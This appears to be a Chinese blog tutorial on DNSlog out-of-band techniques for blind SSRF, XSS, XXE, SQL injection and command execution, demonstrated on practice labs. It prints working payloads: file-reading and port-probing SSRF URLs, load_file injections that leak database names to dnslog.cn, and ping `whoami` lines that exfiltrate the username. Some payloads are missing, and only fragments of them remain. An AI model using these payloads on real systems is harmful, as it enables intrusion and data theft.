DNSlog在滲透測試中的實戰技巧
前言
在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起 DNS 請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。
DNS 的全稱是 Domain Name System(網絡名稱系統),它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如 www.baidu.com,網絡上的 DNS Server 會將該域名解析,并找到對應的真實 IP 如 127.0.0.1,使用戶可以訪問這臺服務器上相應的服務。
了解到了什么是 DNS,那么什么又是 DNSlog 呢?
DNSlog 就是存儲在 DNS Server 上的域名信息,它記錄著用戶對域名 www.baidu.com 等的訪問信息,類似日志文件, DNSlog 在線平臺如下:

基本原理
我注冊了一個為 a.com 的域名,我將他 a 記錄泛解析到 10.0.0.0 上,這樣就實現了無論我記錄值填什么他都有解析,并且都指向 10.0.0.0,當我向 dns 服務器發起 test.a.com 的解析請求時,DNSlog 中會記錄下他給 test.a.com 解析,解析值為 10.0.0.0(通俗來講就是我們申請一個 dnslog 的平臺,當我們盲注的時候把想要的數據和平臺給的地址拼接起來,dnslog 平臺就會把請求的記錄顯示出來)。

SSRF 盲打
前面寫過一篇博文介紹了 SSRF 漏洞的基本原理 Web安全-SSRF漏洞。之所以想學習下 DNSlog 并記錄本文也是因為看到某滲透報告里面記錄一個通過 DNSlog 盲打 SSRF 漏洞,是自己之前沒接觸過的技能點……
SSRF盲打實例
在某系統的機票信息存在導出功能:

修改導出信息的請求中queryPath參數的路徑為自己的 DNSlog:

可以看到 DNSlog 平臺成功記錄訪問請求,證明存在 SSRF 漏洞:

靶場實例練習
1、來看看 Pikachu 靶場一個 SSRF 漏洞 實例:

點擊鏈接發現發現它通過一個 url 參數傳遞了一個 URL 給后臺并讀取文件(可能靶場環境問題此處沒成功讀取到詩歌文件url=http://127.0.0.1/lab/vul/ssrf/ssrf_info/info1.php):

2、修改 url 參數為如下,可借助 SSRF 漏洞進行內網端口探測:
url=http://127.0.0.1:3306
發現服務器開放了 3306 端口:

3、修改 url 參數為如下,可借助 SSRF 漏洞讀取本地文件:
url=file:///C:/Windows/system32/drivers/etc/hosts
成功讀取到 Windows 服務器的本地 hosts 文件信息:

4、在 DNSlog 平臺申請一個子域名 ny5l42.dnslog.cn,然后訪問 ?url=http://ny5l42.dnslog.cn,如下:

刷新 DNSlog 服務器的記錄,發現靶場發起的訪問請求記錄:

XSS的盲打
眾所周知,在實戰中能真正能構成致命性損傷的 XSS 類型就是儲存型 XSS,一般是從前臺打到后臺,一般反射型 XSS 我們常見做法一般是給自己彈個 alert 就可以知道這個語句有沒有執行,有沒有被屏蔽。但是前臺打到后臺的儲存型盲打 XSS 我們肯定是不可能通過 alert 去驗證漏洞是否存在。彈 alert 必然是要驚動管理員,況且就算在后臺彈窗了,我們也看不到。
為了解決這個問題,也為了學習 DNSlog 的利用,我們繼續跟著原理造輪子,比如說這有個留言框,我們輸入個 Payload 如下:
好的管理員!
因為 script 標簽的 src 是在加載后就自動去請求的,并且 http 協議仍然會用到 dns 協議,當管理員從留言板看到這條消息的時候瀏覽器就會自動去請求 http://testxss.a.com,這樣子的話,就會在 DNSlog 里留下如下記錄:
testxss.a.com 10.0.0.0
當我們在 dnslog 里看到了這條記錄的時候,就說明盲打 XSS 存在了。
靶場 XSS 盲打實例
1、同樣以 Pikachu 靶場的一個 XSS 漏洞環境為例:

2、插入 alert(1)即可觸發彈窗:

3、接下來插入:

4、可以在 DNSlog 平臺看到對應的請求記錄:

此處的 Payload 使用
也可以。
XXE的盲打
關于 XXE 漏洞的基礎知識可以看我的另一篇博文:Web安全-XXE漏洞,此處截圖核心:

對于沒有回顯的 XXE 漏洞,同樣可以使用 DNSlog 平臺進行漏洞檢測。
XXE 盲打靶場實例
1、同樣以 Pikachu 靶場的 XXE 漏洞環境為例:

2、先構建常規測試 Payload:
]> &hacker;
執行結果如下:

3、借助 XXE 漏洞構造讀取本地文件的 Payload:
]> &xxe;
執行效果如下:

4、假設這是一個 XXE 無回顯的漏洞,或者說不清楚服務器是什么操作系統、不清楚文件組成,可以構造如下 DNSlog 相關的 Payload:
]> &xxe;
執行效果如下:

SQL的盲注
不論是布爾型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數據庫中的值,在現代 WAF 的防護下,很可能導致 IP 被 ban。我們可以結合 DNSlog 完美快速的將數據取出。如遇到 MySql 的盲注時,可以利用內置函數 load_file() 來完成 DNSlog,load_file()不僅能夠加載本地文件,同時也能對諸如 \\www.test.com 這樣的URL發起請求。
以4s1b2n.dnslog.cn來舉例子,我直接扔 Payload 伙伴們自己理解下原理:
select load_file('\\\\SQL注入查詢語句.4s1b2n.dnslog.cn')
上面就是 select_load_file 的用法,我們來看看實際的 Payload,比如說注入語句我們這么寫:
' and if((select load_file(concat('\\\\',(select database()),'.4s1b2n.dnslog.cn'))),1,0)--+
很經典的查詢數據庫名的 Payload,那么上面 Payload 執行后,最終數據庫將執行什么呢,我們來猜測一下。
SELECT * FROM article WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.4s1b2n.dnslog.cn'))),1,0)--+
不難想象當上面這個執行后,我們將在我們的 DNSlog 里查到的記錄為以下內容:
數據庫一名字.a.com 10.0.0.0 數據庫二名字.a.com 10.0.0.0 數據庫三名字.a.com 10.0.0.0 數據庫四名字.a.com 10.0.0.0 ...
SQL盲注靶場實例
1、下面同樣以 Pikachu 靶場的 SQL 盲注(布爾型)漏洞環境為例:

2、輸入kobe' and 1=1#可成功查詢:

3、輸入kobe' and 1=2#查詢失敗:

4、輸入利用 DNSlog 回顯數據庫名稱的 Payload:
kobe' and if((select load_file(concat('\\\\',(select database()),'.096lsv.dnslog.cn'))),1,0)
執行效果如下:

我自己執行失敗……原因不詳……圖中是別人的圖,請各位大佬指教!
RCE的盲打

此處使用公網一個 DVWA 靶場( Windows 系統搭建)為例進行演示,Payload:%USERNAME%.u4f95y.dnslog.cn,如下所示:

此時 DNSlog 也會回顯打印當前系統登錄的用戶的名稱:

Windows 常用變量:
//變量 類型 描述//%ALLUSERSPROFILE% 本地 返回“所有用戶”配置文件的位置。//%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。//%CD% 本地 返回當前目錄字符串。//%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的準確命令行。//%CMDEXTVERSION% 系統 返回當前的“命令處理程序擴展”的版本號。//%COMPUTERNAME% 系統 返回計算機的名稱。//%COMSPEC% 系統 返回命令行解釋器可執行程序的準確路徑。//%DATE% 系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。//%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。//%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。//%HOMEPATH% 系統 返回用戶主目錄的完整路徑。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。//%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。//%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。//%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。//%OS% 系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。//%PATH% 系統 指定可執行文件的搜索路徑。//%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。//%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值:x86 或 IA64(基于 Itanium)。//%PROCESSOR_IDENTFIER% 系統 返回處理器說明。//%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。//%PROCESSOR_REVISION% 系統 返回處理器的版本號。//%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。//%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。//%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。//%SYSTEMROOT% 系統 返回 Windows server operating system 根目錄的位置。//%TEMP%和%TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。//%TIME% 系統 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。//%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。//%USERNAME% 本地 返回當前登錄的用戶的名稱。//%USERPROFILE% 本地 返回當前用戶的配置文件的位置。//%WINDIR% 系統 返回操作系統目錄的位置。
如果是 Linux 環境,則 Payload 對應的應該為:
ping `whoami`.u4f95y.dnslog.cn
總結
本文參考文章:
1. DNSlog平臺各種利用姿勢(盲注):https://www.cnblogs.com/sunny11/p/14399420.html
2. DNSlog在滲透測試中的應用:https://blog.csdn.net/weixin_44023680/article/details/111702074
3. 命令執行無回顯的一些姿勢 :https://mp.weixin.qq.com/s/29leAcZlIo9aOSWdRTfcQg
4. Dnslog在SQL注入中的實戰 :https://www.anquanke.com/post/id/98096